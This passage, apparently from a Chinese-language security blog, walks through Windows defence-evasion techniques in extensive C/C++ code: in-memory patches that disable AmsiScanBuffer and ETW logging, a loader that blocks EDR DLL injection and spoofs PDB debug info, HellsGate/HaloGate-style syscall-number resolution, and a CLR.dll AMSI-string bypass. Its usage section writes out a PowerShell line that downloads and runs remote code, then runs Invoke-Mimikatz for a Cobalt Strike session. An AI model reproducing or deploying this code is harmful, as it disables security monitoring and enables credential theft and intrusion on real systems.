        std::cerr << "WriteProcessMemory failed: " << GetLastError() << std::endl;
        if (bytesRead == sizeof(hook)) { WriteProcessMemory(GetCurrentProcess(), (LPVOID)amsiScanAddr, originalBytes.data(), sizeof(hook), NULL); }
        VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), oldProtect, &oldProtect);
        pAmsiUninitialize(amsiContext); FreeLibrary(amsiDll); return 1;
    }

    // --- Test the Patched Function ---
    std::cout << "\n--- Calling Patched AmsiScanBuffer (HIGHLY LIKELY TO CRASH) ---" << std::endl;
    std::cout << "The JMP E9 instruction is incomplete and will read subsequent bytes as an offset." << std::endl;

    // 7. Call the patched function using SEH helper
    hrScanAfter = CallPatchedAmsiScanBuffer_SEH(
        pAmsiScanBufferFunc, 
        amsiContext,
        (PVOID)EICAR_STRING,
        (ULONG)strlen(EICAR_STRING),
        L"EICAR Test Patched (E9)",
        NULL,
        &scanResultAfter,
        &crashedDuringPatchedCall
    );

    if (!crashedDuringPatchedCall) {
        std::cout << "[+] SURPRISING! Patched AmsiScanBuffer call completed without crashing." << std::endl;
        std::cout << "    Returned HRESULT: 0x" << std::hex << hrScanAfter << std::dec << std::endl;
        std::cout << "    Output AMSI_RESULT: " << scanResultAfter << std::endl;
        std::cout << "    This is highly unexpected for this specific patch." << std::endl;
    }
    else {
        std::cout << "    The call to patched AmsiScanBuffer CRASHED, as caught by the SEH helper." << std::endl;
        std::cout << "    This is the expected behavior for this incomplete patch." << std::endl;
    }

    // --- Cleanup ---
    std::cout << "\n--- Cleaning Up ---" << std::endl;

    // 8. Restore the original byte(s)
    if (patchAppliedSuccessfully) {
        if (WriteProcessMemory(GetCurrentProcess(), (LPVOID)amsiScanAddr, originalBytes.data(), originalBytes.size(), &bytesWritten) && bytesWritten == originalBytes.size()) {
            std::cout << "[+] Restored original byte(s) to AmsiScanBuffer." << std::endl;
            FlushInstructionCache(GetCurrentProcess(), (LPCVOID)amsiScanAddr, originalBytes.size());
            std::cout << "[+] Flushed instruction cache after restoration." << std::endl;
        }
        else {
            std::cerr << "Error: Failed to restore original byte(s): " << GetLastError() << std::endl;
        }
        DWORD tempOldProtect;
        if (!VirtualProtect((LPVOID)amsiScanAddr, sizeof(hook), oldProtect, &tempOldProtect)) {
            std::cerr << "Error: Failed to restore original memory protection: " << GetLastError() << std::endl;
        }
        else {
            std::cout << "[+] Restored original memory protection." << std::endl;
        }
    }

    // 9. Uninitialize AMSI
    if (amsiContext) {
        pAmsiUninitialize(amsiContext);
        std::cout << "[+] AmsiUninitialize called." << std::endl;
    }
    // 10. Free the library
    if (amsiDll) {
        FreeLibrary(amsiDll);
        std::cout << "[+] Freed amsi.dll" << std::endl;
    }

    // 11. Print final result
    std::cout << "\n--- Test Result ---" << std::endl;
    if (crashedDuringPatchedCall) {
        std::cout << "PASS (for observing instability): The patch caused AmsiScanBuffer to CRASH as expected." << std::endl;
        return 0; 
    }
    else {
        std::cout << "UNEXPECTED: Patched AmsiScanBuffer did not crash." << std::endl;
        std::cout << "            This indicates an unusual execution path for this incomplete patch." << std::endl;
        return 1;
    }
}

PowerShell Exploits

以上测试都是以patch为主,只是patch指令的指令不同

测试完之后发现现在Microsoft更新了内存扫描签名来检测对安全关键用户级 API的修改

PowerLoad3r

  • **LOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON**:阻止任何非微软签名的 DLL 注入子进程
  • 效果
    • 使 EDR 无法通过 CreateRemoteThread + LoadLibrary 注入监控模块(如 CrowdStrike 的传感器 DLL)
    • 规避基于 DLL 注入的行为检测(如 API Hook)
if (!UpdateProcThreadAttribute(si->lpAttributeList, 
                                0,
                                PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, 
                                &dwPolicy, 
                                sizeof(dwPolicy), 
                                NULL, 
                                NULL))
    return FALSE;
  • 通过 CREATE_SUSPENDED 标志创建挂起的 pwsh.exe 进程
  • 效果
    • 进程创建后处于挂起状态,EDR 无法立即扫描其内存
if (!g_APIs.pCreateProcessA(NULL, 
                            PWSH, 
                            NULL, 
                            NULL, 
                            TRUE, 
                            CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, 
                            NULL, 
                            "C:\\Windows\\System32", 
                            (LPSTARTUPINFOA) si, 
                            pi))
    return FALSE;
  • 建立 父进程与子进程(PowerShell)之间的隐蔽通信通道
  • 效果
    • 匿名管道实现无参数指令传递,规避传统检测手段。
BOOL InitAnonymousPipes(STARTUPINFOEXA *si)
{
    SECURITY_ATTRIBUTES sa = { 0 };

    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;


    if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &sa, 0))
        return FALSE;

    if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
        return FALSE;

    if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &sa, 0))
        return FALSE;

    if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0))
        return FALSE;


    si->StartupInfo.hStdError = g_hChildStd_OUT_Wr;
    si->StartupInfo.hStdOutput = g_hChildStd_OUT_Wr;
    si->StartupInfo.hStdInput = g_hChildStd_IN_Rd;
    si->StartupInfo.dwFlags |= STARTF_USESTDHANDLES;

    return TRUE;
}
  • 篡改目标进程(如PowerShell)的 PE调试信息
  • 效果
    • 破坏EDR对进程合法性的验证机制,实现进程伪装

DOS头验证

if (!(pDos = (PIMAGE_DOS_HEADER)ReadProcessMemory2(hProc, 
                                                   lpImgBaseAddr, 
                                                   sizeof(IMAGE_DOS_HEADER))))
    return FALSE;
if (pDos->e_magic != IMAGE_DOS_SIGNATURE)   //MZ
    return FALSE;

NT头验证

if (!(pNt = (PIMAGE_NT_HEADERS)ReadProcessMemory2(hProc, 
                                                  (PVOID)((DWORD_PTR)lpImgBaseAddr + pDos->e_lfanew), 
                                                  sizeof(IMAGE_NT_HEADERS))))
    return FALSE;
if (pNt->Signature != IMAGE_NT_SIGNATURE) //PE
    return FALSE;

获取调试目录入口与读取

pDbgDataDir = &pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG];
if (!(pDbg = (PIMAGE_DEBUG_DIRECTORY)ReadProcessMemory2(hProc, (PVOID)((DWORD_PTR)lpImgBaseAddr + pDbgDataDir->VirtualAddress), pDbgDataDir->Size)))
    return FALSE;
if (pDbg->Type != IMAGE_DEBUG_TYPE_CODEVIEW)// 只处理CodeView类型 
    return FALSE;

注:CodeView调试信息,包含PDB路径等关键信息,是EDR验证进程合法性的重要依据。

定位PDB结构

pDbgRawDataAddr = (PVOID)((DWORD_PTR)lpImgBaseAddr + pDbg->AddressOfRawData);

if (!(pPDB = (PPdbInfo)ReadProcessMemory2(hProc, pDbgRawDataAddr, sizeof(PdbInfo))))
    return FALSE;

if (pPDB->dwSignature != IMAGE_DEBUG_SIGNATURE)// 验证"RSDS"签名 
    return FALSE;

PDB结构:

typedef struct _PdbInfo {
    DWORD dwSignature;          // "RSDS"
    GUID guidSig;               // 唯一标识 
    DWORD dwAge;                // 版本号 
    CHAR cPdbFileName[1];       // PDB路径(可变长)
} PdbInfo;

Patch


return (
    Patch(hProc, (PVOID)((DWORD_PTR)pDbgRawDataAddr + sizeof(PdbInfo) - sizeof(pPDB->cPdbFileName)), "\x50\x6f\x77\x72\x4c\x6f\x61\x64\x65\x72", 10) &&
    Patch(hProc, (PVOID)((DWORD_PTR)pDbgRawDataAddr + 0x52), "\x50\x6f\x77\x72\x4c\x6f\x61\x64\x65\x72", 10)
);

\x50\x6f\x77\x72\x4c\x6f\x61\x64\x65\x72 对应ASCII字符串 "PowrLoader"

Patch ETW

  • 通过内存补丁 禁用目标进程中的ETW事件日志功能
  • 结果
    • 使系统和安全产品无法记录该进程的行为

修改 ntdll!EtwEventWrite 函数的机器码,强制其返回0(表示不记录事件)

BOOL BlindETW(HANDLE hProc, HMODULE hModule)
{
    PVOID pEEW;

    if (!(pEEW = GetProcAddress2(hModule, g_cEEW)))
        return FALSE;

    /*
        xor rax,rax  ; Clear accumlator register via XORing by itself, this means the procedure will return 0 without log anything
        ret          ; return (the end of the procedure)
    */
    return Patch(hProc, pEEW, "\x48\x33\xc0\xc3", 4);
}

Patch AMSI.dll

BOOL BypassAMSI(HANDLE hProc, HMODULE hModule)
{
    PVOID pASB;

    if (!(pASB = GetProcAddress2(hModule, g_cASB)))
        return FALSE;

    /*
        ; move 80070057h to eax which means error occured,
        ; this redirects scanner execution flow and makes amsi fails

        mov eax, 80070057h  ; Error handler
        ret                 ; return 
    */
    return Patch(hProc, pASB, "\xb8\x57\x00\x07\x80\xc3", 6);
}

使用的技术就是上面的Instruction Overwriting 技术


**HellsGate \HaloGate \VelesReek **

通过三级递进策略,在 绕过EDR用户态Hook 的前提下,动态获取目标系统调用号(SSN)

画板

HellsGate:

  • 直接读取 ntdll.dll 原始导出表,避开Hook后的函数地址
    for (WORD wIdx = 0; wIdx < pNtDLLImg->pExpDir->NumberOfNames; wIdx++)
    {
        cFuncName = (PCHAR)GETMODULEBASE(pNtDLLImg) + pNtDLLImg->pdwAddrOfNames[wIdx];
        pFuncAddr = (PBYTE)GETMODULEBASE(pNtDLLImg) + pNtDLLImg->pdwAddrOfFunctions[pNtDLLImg->pwAddrOfNameOrdinales[wIdx]];

        if (djb2(cFuncName) != DeObfuscateHash(pEntry->dwHash))
            continue;

        if ((pEntry->wSyscall = HellsGateGrabber((PVOID)pFuncAddr)) != INVALID_SSN)
            return;
        
        break;
    }

HaloGate :

  • 指令模式识别:在内存中搜索 mov eax, SSNsyscall 指令序列
  • 偏移量推算:根据相邻系统调用的固定偏移(如Win10下通常相差0x20字节)推测目标SSN
    for (WORD idx = 1; idx < SYSCALLSCOUNT; idx++)
    {
        /* Go Down */
        if ((pEntry->wSyscall = HaloGateDown((PVOID)pFuncAddr, idx)) != INVALID_SSN)
            return;

        /* Go Up */
        if ((pEntry->wSyscall = HaloGateUp((PVOID)pFuncAddr, idx)) != INVALID_SSN)
            return;
    }

VelesReek :

  • SSN = (目标函数地址 - .text段基址) / 平均函数大小 + 基础SSN
  • 当所有系统调用都被Hook时(如EDR全量监控)
    pEntry->wSyscall = VelesReek(
        pNtDLLImg->pTextSection->SizeOfRawData, 
        (PVOID)((DWORD_PTR)GETMODULEBASE(pNtDLLImg) + pNtDLLImg->pTextSection->PointerToRawData), 
        pFuncAddr
    );

该项目时间较长一些绕过技术已经被修复,

使用:

将写入管道的指令修改为所需命令即可:

PRINT_SUCCESS("AMSI patched successfully");
WriteToPipe("IEX ((new-object net.webclient).downloadstring('hxxp://IP'))\n", 172);
WriteToPipe("Invoke-Mimikatz -Command coffee\n", 32);
WriteToPipe("exit\n", 5); // Don't remove this instruction, it terminates the process

这里我使用的是Cobalt Strike进行测试

注:在使用VS编译时需要将优化关闭,不然优化之后的可执行文件中一些汇编指令会出错,运行不能得到结果

PowerShell Exploits

这个就是没有禁用优化运行之后的结果

PowerShell Exploits

这个就是正常运行结果

PowerShell Exploits

可以看到Cobalt Strike正常上线

Patch CLR.dll

在 Common Language Runtime (CLR.DLL) 库中,有一个本地方法用于处理反射加载的二进制文件(即从内存中加载的二进制文件,而不是从磁盘文件)。在将 PE 文件映射到内存之前,这个方法首先会通过 AMSI 将原始二进制文件传递给已安装的防病毒软件。而不是直接引用 AmsiScanBuffer 方法,这个本地方法使用 GetProcAddress 来获取该函数的引用。这意味着字符串字面量 “AmsiScanBuffer” 被存储在 CLR.DLL 的 .rdata 段中。为了绕过这一过程,攻击者修改了这个字符串,使得方法无法被找到,从而 CLR 无法与 AMSI API 进行交互。

这个反射加载器采取了一种“故障开放”的策略,因此如果 AMSI 检查失败,加载器仍会正常继续执行。

  • 使用 VirtualQuery 循环遍历每个内存区域
  • 查找映射到 CLR.DLL 的内存区域
  • 查找字符串“AmsiScanBuffer”的位置
  • 向内存区域添加写入权限
  • 用0覆盖目标字符串
  • 恢复内存位置

使用Kernel32.dll 的 VirtualQuery 方法来获取有关区域的信息,包括权限、基地址和区域大小;

扫描进程内存区域,遍历每个内存区域,并且只查找可读区域

bool IsReadable(DWORD protect, DWORD state) {
    if (!((protect & PAGE_READONLY) == PAGE_READONLY || (protect & PAGE_READWRITE) == PAGE_READWRITE || (protect & PAGE_EXECUTE_READWRITE) == PAGE_EXECUTE_READWRITE || (protect & PAGE_EXECUTE_READ) == PAGE_EXECUTE_READ)) {
        return false;
    }

    if ((protect & PAGE_GUARD) == PAGE_GUARD) {
        return false;
    }

    if ((state & MEM_COMMIT) != MEM_COMMIT) {
        return false;
    }

    return true;
}

// 检查内存是否具有以下任一保护属性:
// PAGE_READONLY:只读
// PAGE_READWRITE:可读写
// PAGE_EXECUTE_READWRITE:可执行、可读、可写
// PAGE_EXECUTE_READ:可执行且可读
// 如果都不满足,则判定为不可读


HANDLE hProcess = GetCurrentProcess();

//Load system info to identify allocated memory regions
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

//Generate a list of memory regions to scan
ArrayList<MEMORY_BASIC_INFORMATION> list;
unsigned char* pAddress = 0;// (unsigned char*)sysInfo.lpMinimumApplicationAddress;
MEMORY_BASIC_INFORMATION memInfo;
while (pAddress < sysInfo.lpMaximumApplicationAddress) {
    //Query memory region information
    if (VirtualQuery(pAddress, &memInfo, sizeof(memInfo))) {
        list.Add(memInfo);
    }

    //Move to the next memory region
    pAddress += memInfo.RegionSize;
}

//Find and replace all references to AmsiScanBuffer in READWRITE memory
int count = 0;
for (int i = 0; i < list.GetLength(); i++) {
    MEMORY_BASIC_INFORMATION& region = list.At(i);

    //Can't work with the region if it's not even readable
    if (!IsReadable(region.Protect, region.State)) {
        continue;
    }

    //<removed for brevity>
}


//Find and replace all references to AmsiScanBuffer in READWRITE memory
int count = 0;
for (int i = 0; i < list.GetLength(); i++) {
    MEMORY_BASIC_INFORMATION& region = list.At(i);

    //Can't work with the region if it's not even readable
    if (!IsReadable(region.Protect, region.State)) {
        continue;
    }

    //<removed for brevity>
}
  • SYSTEM_INFO 结构体包含系统内存架构信息
  • GetSystemInfo() 填充该结构体,会设置:
    • lpMinimumApplicationAddress:应用程序可访问的最小内存地址
    • lpMaximumApplicationAddress:应用程序可访问的最大内存地址
    • dwAllocationGranularity:内存分配粒度(通常64KB)

自定义的 ArrayList 容器类似于std::vector

VirtualQuery函数

BOOL VirtualQuery(
  LPCVOID                   lpAddress,
  PMEMORY_BASIC_INFORMATION lpBuffer,
  SIZE_T                    dwLength
);
  • 查询指定地址的内存区域信息
  • 填充 MEMORY_BASIC_INFORMATION 结构体,包含:
    • BaseAddress:区域基地址
    • AllocationBase:分配基地址
    • RegionSize:区域大小(字节)
    • Protect:保护属性(如可读/可写)
    • State:状态(提交/保留/空闲)
    • Type:页面类型

扫描过程:

  1. pAddress 开始查询内存信息
  2. 成功则保存到列表
  3. 指针前进当前区域的 RegionSize 字节
  4. 直到超过最大应用地址范围

示例:

0x00000000 ┌───────────────────────┐ 
           │       Reserved        │
0x00400000 ├───────────────────────┤ ← lpMinimumApplicationAddress
           │       Code Segment    │ 
           ├───────────────────────┤
           │       Data Segment    │
           ├───────────────────────┤
           │       Heap Space      │ 
           ├───────────────────────┤ 
           │       Stack Space     │
           ├───────────────────────┤ 
0x7FFFFFFF └───────────────────────┘ ← lpMaximumApplicationAddress (32位)

检查内存区域是否映射到clr.dll

char path[MAX_PATH];
if (GetMappedFileNameA(hProcess, region.BaseAddress, path, MAX_PATH) > 0) {
    //Check to make sure this region maps to clr.dll
    if (CheckStr(path, strlen(path))) {
        //<removed for brevity>
    }
}
  • **GetMappedFileNameA**:Windows API,获取指定内存区域映射的文件路径。
    • 参数
      • hProcess:目标进程句柄(此处为当前进程)。
      • region.BaseAddress:内存区域的起始地址。
      • path:输出缓冲区,存储文件路径。
      • MAX_PATH:路径最大长度(260字符)。
    • 返回值
      • >0:成功,返回路径字符串长度。
      • 0:失败,调用 GetLastError() 获取原因。

扫描内存中的每字节,寻找AmsiScanBuffer

for (int j = 0; j < region.RegionSize - sizeof(unsigned char*); j++) {
    unsigned char* current = ((unsigned char*)region.BaseAddress) + j;

    //See if the current pointer points to the string "AmsiScanBuffer." In SpecterInsight
    //the Parameters->AMSISCANBUFFER is a value that is decoded at runtime in order to
    //avoid static analysis
    bool found = true;
    for (int k = 0; k < sizeof(Parameters->AMSISCANBUFFER); k++) {
        if (current[k] != Parameters->AMSISCANBUFFER[k]) {
            found = false;
            break;
        }
    }

    if (found) {
        //<removed for brevity>
    }
}

内存区域添加写入权限,默认情况下,内存中的.data段是只读的,覆盖AmsiScanBuffer会引发异常,需要你使用VirtualProtect修改为可读写执行,

DWORD original = 0;
if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {
    VirtualProtect(region.BaseAddress, region.RegionSize, PAGE_EXECUTE_READWRITE, &original);
}

for (int m = 0; m < sizeof(Parameters->AMSISCANBUFFER); m++) {
    current[m] = 0;
}

if ((region.Protect & PAGE_READWRITE) != PAGE_READWRITE) {
    VirtualProtect(region.BaseAddress, region.RegionSize, region.Protect, &original);
}

以下为我完善的code,但是patch失败不知道是否为POC编写问题

#define UNICODE
#define _UNICODE
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

// --- ArrayList<MEMORY_BASIC_INFORMATION> Implementation ---
typedef struct {
    MEMORY_BASIC_INFORMATION* items;
    size_t count;
    size_t capacity;
} ArrayList_MEMORY_BASIC_INFORMATION;

void ArrayList_Init(ArrayList_MEMORY_BASIC_INFORMATION* list, size_t initialCapacity) {
    list->items = (MEMORY_BASIC_INFORMATION*)malloc(initialCapacity * sizeof(MEMORY_BASIC_INFORMATION));
    if (list->items == NULL) { fprintf(stderr, "Failed to allocate ArrayList_MEMORY_BASIC_INFORMATION\n"); exit(1); }
    list->count = 0;
    list->capacity = initialCapacity;
}
void ArrayList_Add(ArrayList_MEMORY_BASIC_INFORMATION* list, MEMORY_BASIC_INFORMATION item) {
    if (list->count == list->capacity) {
        list->capacity = (list->capacity == 0) ? 1 : list->capacity * 2; // Handle initial 0 capacity
        MEMORY_BASIC_INFORMATION* temp = (MEMORY_BASIC_INFORMATION*)realloc(list->items, list->capacity * sizeof(MEMORY_BASIC_INFORMATION));
        if (temp == NULL) { fprintf(stderr, "Failed to reallocate ArrayList_MEMORY_BASIC_INFORMATION\n"); free(list->items); exit(1); }
        list->items = temp;
    }
    list->items[list->count++] = item;
}
MEMORY_BASIC_INFORMATION ArrayList_At(ArrayList_MEMORY_BASIC_INFORMATION* list, size_t index) {
    if (index < list->count) return list->items[index];
    MEMORY_BASIC_INFORMATION empty = { 0 }; return empty; // Should check for this
}
size_t ArrayList_GetLength(ArrayList_MEMORY_BASIC_INFORMATION* list) { return list->count; }
void ArrayList_Free(ArrayList_MEMORY_BASIC_INFORMATION* list) { free(list->items); list->items = NULL; list->count = 0; list->capacity = 0; }
// --- End ArrayList ---


// --- Signature Definition (mimicking PowerShell's $a, $b, $c, $d) ---
const unsigned char SIG_A[] = { 'A', 'm', 's' };
const unsigned char SIG_B[] = { 'i', 'S', 'c' };
const unsigned char SIG_C[] = { 'a', 'n', 'B', 'u', 'f' };
const unsigned char SIG_D[] = { 'f', 'e', 'r' };


unsigned char TARGET_SIGNATURE[sizeof(SIG_A) + sizeof(SIG_B) + sizeof(SIG_C) + sizeof(SIG_D)];
size_t TARGET_SIGNATURE_LEN = 0;

void InitializeTargetSignature() {
    memcpy(TARGET_SIGNATURE, SIG_A, sizeof(SIG_A));
    TARGET_SIGNATURE_LEN += sizeof(SIG_A);
    memcpy(TARGET_SIGNATURE + TARGET_SIGNATURE_LEN, SIG_B, sizeof(SIG_B));
    TARGET_SIGNATURE_LEN += sizeof(SIG_B);
    memcpy(TARGET_SIGNATURE + TARGET_SIGNATURE_LEN, SIG_C, sizeof(SIG_C));
    TARGET_SIGNATURE_LEN += sizeof(SIG_C);
    memcpy(TARGET_SIGNATURE + TARGET_SIGNATURE_LEN, SIG_D, sizeof(SIG_D));
    TARGET_SIGNATURE_LEN += sizeof(SIG_D);
}
// --- End Signature Definition ---


// --- Helper Functions (IsReadable, CheckStr from your snippet) ---
bool IsReadable(DWORD protect, DWORD state) {
    if (!((protect & PAGE_READONLY) || 
        (protect & PAGE_READWRITE) ||
        (protect & PAGE_EXECUTE_READWRITE) ||
        (protect & PAGE_EXECUTE_READ))) {
        return false;
    }
    if ((protect & PAGE_GUARD) == PAGE_GUARD) { 
        return false;
    }
    if ((state & MEM_COMMIT) != MEM_COMMIT) {
        return false;
    }
    return true;
}

bool CheckStr(const char* str, size_t length) { 
    if (str == NULL || length < 7) {
        return false;
    }

    if ((str[length - 1] == 'l' || str[length - 1] == 'L') &&
        (str[length - 2] == 'l' || str[length - 2] == 'L') &&
        (str[length - 3] == 'd' || str[length - 3] == 'D') &&
        (str[length - 4] == '.') &&
        (str[length - 5] == 'r' || str[length - 5] == 'R') &&
        (str[length - 6] == 'l' || str[length - 6] == 'L') &&
        (str[length - 7] == 'c' || str[length - 7] == 'C')) {
        if (length == 7 || str[length - 8] == '\\' || str[length - 8] == '/') {
            return true;
        }
    }
    return false;
}
// --- End Helper Functions ---


HRESULT AmsiBypassStringReplace() {
    InitializeTargetSignature(); 

    HANDLE hProcess = GetCurrentProcess();
    if (hProcess == NULL) return E_HANDLE;

    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);

    ArrayList_MEMORY_BASIC_INFORMATION list;
    ArrayList_Init(&list, 128);


    unsigned char* pAddress = (unsigned char*)sysInfo.lpMinimumApplicationAddress;
    MEMORY_BASIC_INFORMATION memInfo;

    while (pAddress != NULL && pAddress < (unsigned char*)sysInfo.lpMaximumApplicationAddress) {
        ZeroMemory(&memInfo, sizeof(memInfo));
        if (VirtualQuery((LPCVOID)pAddress, &memInfo, sizeof(memInfo)) == sizeof(memInfo)) {
            ArrayList_Add(&list, memInfo);

            ULONGLONG nextAddr = (ULONGLONG)memInfo.BaseAddress + memInfo.RegionSize;
            if (nextAddr <= (ULONGLONG)pAddress || memInfo.RegionSize == 0) { 
                if ((ULONGLONG)pAddress >= (ULONGLONG)sysInfo.lpMaximumApplicationAddress - sysInfo.dwPageSize) break;
                pAddress = (unsigned char*)((ULONGLONG)pAddress + sysInfo.dwPageSize);
            }
            else if (nextAddr >= (ULONGLONG)sysInfo.lpMaximumApplicationAddress) {
                pAddress = (unsigned char*)sysInfo.lpMaximumApplicationAddress; 
            }
            else {
                pAddress = (unsigned char*)nextAddr;
            }
        }
        else {
            if ((ULONGLONG)pAddress >= (ULONGLONG)sysInfo.lpMaximumApplicationAddress - sysInfo.dwPageSize) {
                break;
            }
            pAddress = (unsigned char*)((ULONGLONG)pAddress + sysInfo.dwPageSize);
        }
    }

    int count = 0;
    for (size_t i = 0; i < ArrayList_GetLength(&list); i++) {
        MEMORY_BASIC_INFORMATION region = ArrayList_At(&list, i); 

        if (!IsReadable(region.Protect, region.State)) {
            continue;
        }

        char path[MAX_PATH];
        if (GetMappedFileNameA(hProcess, region.BaseAddress, path, MAX_PATH) > 0) {
            if (CheckStr(path, strlen(path))) { // Check for "clr.dll"

                if (region.RegionSize == 0 || region.RegionSize > (50 * 1024 * 1024)) { // Skip huge regions
                    continue;
                }
                unsigned char* regionBuffer = (unsigned char*)malloc(region.RegionSize);
                if (regionBuffer == NULL) {
                    continue; 
                }

                SIZE_T bytesReadFromRegion = 0;
                if (ReadProcessMemory(hProcess, region.BaseAddress, regionBuffer, region.RegionSize, &bytesReadFromRegion)) {
                    if (bytesReadFromRegion >= TARGET_SIGNATURE_LEN) {
                        for (size_t k = 0; k <= (bytesReadFromRegion - TARGET_SIGNATURE_LEN); k++) {

                            bool found = true;
                            for (size_t m = 0; m < TARGET_SIGNATURE_LEN; m++) {
                                if (regionBuffer[k + m] != TARGET_SIGNATURE[m]) {
                                    found = false;
                                    break;
                                }
                            }

                            if (found) {
                                unsigned char* patchAddressInProcess = (unsigned char*)region.BaseAddress + k;
                                DWORD originalRegionProtection = region.Protect; 
                                DWORD oldProtectForVP = 0; 
                                bool protectionChangedByUs = false;

                                if (!((originalRegionProtection & PAGE_READWRITE) || (originalRegionProtection & PAGE_EXECUTE_READWRITE))) {
                                    if (VirtualProtect(region.BaseAddress, region.RegionSize, PAGE_EXECUTE_READWRITE, &oldProtectForVP)) {
                                        protectionChangedByUs = true;

                                    }
                                    else {
                                        free(regionBuffer); 
                                        continue;
                                    }
                                }

                                unsigned char* zeroReplacement = (unsigned char*)calloc(TARGET_SIGNATURE_LEN, sizeof(unsigned char));
                                if (zeroReplacement == NULL) {
                                    if (protectionChangedByUs) {
                                        DWORD temp; VirtualProtect(region.BaseAddress, region.RegionSize, oldProtectForVP, &temp);
                                    }
                                    free(regionBuffer);
                                    continue; 
                                }

                                SIZE_T bytesWrittenToProcess = 0;
                                if (WriteProcessMemory(hProcess, patchAddressInProcess, zeroReplacement, TARGET_SIGNATURE_LEN, &bytesWrittenToProcess)) {
                                    if (bytesWrittenToProcess == TARGET_SIGNATURE_LEN) {
                                        count++;
                                    }
                                }
                                else {
                                }
                                free(zeroReplacement);

                                if (protectionChangedByUs) {
                                    DWORD temp;
                                    VirtualProtect(region.BaseAddress, region.RegionSize, oldProtectForVP, &temp);
                                }

                            }
                        }
                    }
                }
                free(regionBuffer);
            }
        }
    }

    ArrayList_Free(&list);

    if (count > 0) {
        return S_OK;
    }
    else {
        return HRESULT_FROM_WIN32(ERROR_NOT_FOUND);
    }
}

// --- Dummy main for testing ---
int main() {


    printf("Attempting AmsiBypassStringReplace \n");
    HRESULT result = AmsiBypassStringReplace();

    if (result == S_OK) {
        printf("AmsiBypassStringReplace reported SUCCESS (S_OK - signature likely patched).\n");
    }
    else if (result == HRESULT_FROM_WIN32(ERROR_NOT_FOUND)) {
        printf("AmsiBypassStringReplace reported NOT_FOUND (Target signature not found in clr.dll).\n");
    }
    else {
        printf("AmsiBypassStringReplace reported FAILURE. HRESULT: 0x%08lX\n", result);
    }
    return 0;
}

PowerShell Exploits

AmsiBypassStringReplace 报告 NOT_FOUND(在 clr.dll 中未找到目标签名)。